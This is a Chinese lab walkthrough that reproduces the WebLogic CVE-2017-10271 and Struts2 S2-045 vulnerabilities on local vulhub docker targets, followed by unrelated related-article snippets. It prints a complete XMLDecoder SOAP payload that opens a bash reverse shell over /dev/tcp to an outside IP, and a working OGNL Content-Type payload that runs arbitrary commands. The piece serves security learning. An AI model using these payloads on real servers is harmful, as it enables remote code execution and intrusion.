Java反序列化漏洞复现(weblogic和s2)

news2024/11/27 4:32:48

文章目录

  • weblogic
    • 启动环境
    • 漏洞扫描
    • 漏洞复现
  • S2-045
    • 启动环境
    • 漏洞复现

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

weblogic

启动环境

到下面路径下:

cd vulhub/weblogic/CVE-2017-10271

启动容器:

sudo docker-compose up -d

如图,启动成功:

在这里插入图片描述

bp浏览器打开靶场环境:

在这里插入图片描述

漏洞扫描

打开终端,到下面路径:

cd tools/nacs/0.0.3/nacs_linux_amd64

启动nacs:

./nacs

如图,启动成功:
在这里插入图片描述

扫描端口:

sudo ./nacs -h 10.9.75.45 -pa 7001

扫描到存在的漏洞编号:

在这里插入图片描述

漏洞复现

访问网页127.0.0.1:7001/wls-wsat/CoordinatorPortType,出现下面页面,存在这个页面说明有反序列化漏洞:
在这里插入图片描述

bp抓包后发送到repeater模块,右键改成post方法,点击发送:

在这里插入图片描述

将下面的漏洞利用代码

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/10.0.0.1/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

粘贴到数据包中,因为这段代码是xml格式,所以要修改该数据包的类型为text/cml:

在这里插入图片描述

修改利用代码中反弹shell的IP,改为服务器可以访问的任意地址即可,这里改为kali的本机地址:

在这里插入图片描述

kali监听21端口:

在这里插入图片描述

bp中发送请求包:

在这里插入图片描述

反弹shell成功:
在这里插入图片描述

S2-045

启动环境

到下面目录:

cd vulhub/struts2/s2-045

输入命令安装并启动环境:

sudo docker-compose up -d && sudo docker-compose up -d

安装中:

在这里插入图片描述

安装成功启动时报错,提示我们8080端口被占用:

在这里插入图片描述

复制一个配置文件:

cp docker-compose.yml docker-compose.me.yml

打开并修改端口为8081:

vim docker-compose.me.yml

如图,修改成功:

在这里插入图片描述

以修改后的文件启动环境:

sudo docker-compose -f docker-compose.me.yml up -d 

启动成功:

在这里插入图片描述

漏洞复现

在浏览器中输入10.9.75.45:8081打开环境:

在这里插入图片描述

bp抓包后发送到repeater模块,右键将方法改为post

将下面漏洞验证代码的Content-Type:字段复制

Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

替换数据包的Content-Type:字段:

在这里插入图片描述

发包,回应包中输出了233*233的value值,说明的确存在s2-045漏洞:

在这里插入图片描述

将下面漏洞利用代码

Content-Type:  %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

复制到content-Type字段,修改#cmds字段就能执行相应的命令,相当于已经获得一个webshell。

执行ip a:

在这里插入图片描述

执行touch EMT.txt&&ls,新建了一个文件并查看:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/978293.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Mac13.4 (22F66)钥匙串无法导出.p12证书解决方案

最近更新了Mac 13.4系统之后&#xff0c;开发苹果APP项目时突然发现无法导出.p12证书 这情况解决方案如下方案 在钥匙串访问的上方&#xff0c;有一栏类型筛选&#xff0c;默认选中的是 “所有项目”&#xff0c;将选项切换至“证书” 切换到“证书”后&#xff0c;右键点击需要…

Ae 效果:CC Vector Blur

模糊和锐化/CC Vector Blur Blur & Sharpen/CC Vector Blur CC Vector Blur&#xff08;CC 向量模糊&#xff09;使用源图像&#xff08;图层自身或指定的向量映射图层&#xff09;的亮度差异或其他选择的属性&#xff08;如红通道、绿通道、蓝通道等&#xff09;来生成一个…

kafka学习-概念与简单实战

目录 1、核心概念 消息和批次 Topic和Partition Replicas Offset broker和集群 生产者和消费者 2、开发实战 2.1、消息发送 介绍 代码实现 2.2、消息消费 介绍 代码实现 2.3、SpringBoot Kafka pom application.yaml KafkaConfig producer consumer 1、核心…

【变分法】【书籍阅读笔记】Calculus of Variation by gelfand 第一章 总结与习题题解 【更新中】

文章目录 前言1 第一章 变分法基础1.1 泛函 与 一些简单的变分问题1.2 Function Spaces/ 赋范线性空间1.3 泛函的变分: 具有极值的必要条件1. 重要引理/线性泛函的等零条件2. 泛函变分 1.4 最简单的变分问题&#xff1a;欧拉方程1. 欧拉方程2. 证明/欧拉方程的得出3. 欧拉方程的…

机器学习:基于梯度下降算法的线性拟合实现和原理解析

机器学习&#xff1a;基于梯度下降算法的线性拟合实现和原理解析 线性拟合梯度下降算法步骤算法实现数据可视化&#xff08;动态展示&#xff09;应用示例 当我们需要寻找数据中的趋势、模式或关系时&#xff0c;线性拟合和梯度下降是两个强大的工具。这两个概念在统计学、机器…

SQLI-labs-第五关

知识点&#xff1a;布尔盲注 思路&#xff1a; 1、判断注入点 首先&#xff0c;我们看看正常的回显内容 ?id1 接着输入?id1 &#xff0c;结果出现语句错误 这里说明存在单引号的闭合错误 ?id1 and 11-- ?id1 and 12-- 这里没有任何回显信息&#xff0c;可以准确的确…

基于STM32程序万年历液晶1602显示-proteus仿真-源程序

一、系统方案 本设计采用STM32单片机作为主控器&#xff0c;液晶1602显示&#xff0c;按键设置万年历。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 //通用定时器3中断初始化 //这里时钟选择为APB1的2倍&#xff0c;而APB1为36M //arr&…

官方YOLOV5的torch模型->ONNX模型->RKNN模型

1、环境配置 1.1 RKNN Toolkit2的环境配置 下载RKNN Toolkit2 git clone https://github.com/rockchip-linux/rknn-toolkit2.git打开一个终端命令行窗口,安装 Python3.6 和 pip3 sudo apt-get install python3 python3-dev python3-pip安装所需的依赖包 sudo apt-get inst…

机器学习笔记之最优化理论与方法(七)无约束优化问题——常用求解方法(上)

机器学习笔记之最优化理论与方法——基于无约束优化问题的常用求解方法[上] 引言总体介绍回顾&#xff1a;线搜索下降算法收敛速度的衡量方式线性收敛范围高阶收敛范围 二次终止性朴素算法&#xff1a;坐标轴交替下降法最速下降法(梯度下降法)梯度下降法的特点 针对最速下降法缺…

Vue + Element UI 前端篇(十二):用户管理模块

Vue Element UI 实现权限管理系统 前端篇&#xff08;十二&#xff09;&#xff1a;用户管理模块 用户管理模块 添加接口 在 http/moduls/user.js 中添加用户管理相关接口。 import axios from ../axios/* * 用户管理模块*/// 保存 export const save (params) > {ret…

Unity中Shader的变体shader_feature

文章目录 前言一、变体的类型1、multi_compile —— 无论如何都会被编译的变体2、shader_feature —— 通过材质的使用情况来决定是否编译的变体 二、使用 shader_feature 来控制 shader 效果的变化1、首先在属性面板暴露一个开关属性&#xff0c;用于配合shader_feature来控制…

解决deepspeed框架的bug:不保存调度器状态,模型训练重启时学习率从头开始

deepspeed存在一个bug&#xff0c;即在训练时不保存调度器状态&#xff0c;因此如果训练中断后再重新开始训练&#xff0c;调度器还是会从头开始而不是接着上一个checkpoint的调度器状态来训练。这个bug在deepspeed的github中也有其他人提出&#xff1a;https://github.com/mic…

清理Maven仓库中下载失败的文件

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

【SpringBoot】统一功能处理

目录 &#x1f383;1 拦截器 &#x1f380;1.1 拦截器的代码实现 &#x1f3a8;1.2 拦截器的实现原理 &#x1f9f6;2 拦截器应用——登录验证 &#x1f9ba;3 异常统一处理 &#x1f3ad;4 统一数据返回格式 &#x1f9e4;4.1 为什么需要统一数据返回格式 &#x1f9e3;4.2 统…

Cisco Packet Tracer入门篇

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

Python中的文件I/O操作:常见问题与解决方案

在Python编程中&#xff0c;文件I/O操作是常见的任务。本文将介绍一些关于Python文件I/O操作的常见问题及其解决方案&#xff0c;并提供详细的代码示例。 1、问题&#xff1a;如何正确地打开和关闭文件&#xff1f; 解决方案&#xff1a;使用with语句可以确保文件在操作完成后…

查漏补缺 - ES6

目录 1&#xff0c;let 和 const1&#xff0c;会产生块级作用域。2&#xff0c;如何理解 const 定义的变量不可被修改? 2&#xff0c;数组3&#xff0c;对象1&#xff0c;Object.is()2&#xff0c;属性描述符3&#xff0c;常用API4&#xff0c;得到除某个属性之外的新对象。 4…

华为云云服务器评测|使用Docker可视化Portainer部署Yolov5项目进行AI识别

目录 初始化配置使用Xshell连接 项目准备 docker-compose Dockerfile .dockerignore 在服务器中启动Docker项目 初始化配置使用Xshell连接 因为我比较喜欢用xshell来操作服务器&#xff0c;如果你是使用华为在线的CloudShell或其他方式&#xff0c;可以跳过第一步的连接…

【Redis专题】Redis持久化、主从与哨兵架构详解

目录 前言课程目录一、Redis持久化1.1 RDB快照&#xff08;Snapshot&#xff09;&#xff1a;二进制文件基本介绍开启/关闭方式触发方式bgsave的写时复制&#xff08;COW&#xff0c;Copy On Write&#xff09;机制优缺点 1.2 AOF&#xff08;append-only file&#xff09;&…

Git—版本控制系统

git版本控制系统 1、什么是版本控制2、常见的版本控制工具3、版本控制分类3.1、本地版本控制3.2、集中版本控制 SVN3.3、分布式版本控制 Git 4、Git与SVN的主要区别5、Git环境配置6、启动Git7、常用的Linux命令8、Git配置9、设置用户名与邮箱&#xff08;用户标识&#xff0c;必…